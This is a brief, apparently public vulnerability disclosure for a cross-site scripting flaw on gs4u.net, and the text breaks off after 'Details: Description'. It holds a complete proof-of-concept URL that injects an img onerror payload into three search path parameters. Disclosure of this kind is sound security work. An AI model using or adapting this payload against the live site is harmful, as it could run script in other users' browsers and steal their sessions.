gs4u.net XSS vulnerability

Vulnerable URL: https://www.gs4u.net/ru/cs17/search/country-cz/host-%3c%252Fscript%3e%3cimg+src=x+onerror=prompt%252Fxssposed%252F%3e/map-%3c%252Fscript%3e%3cimg+src=x+onerror=prompt%252Fxssposed%252F%3e/name-%3c%252Fscript%3e%3cimg+src=x+onerror=prompt%252Fxssposed%252F%3e/ Details: Description|...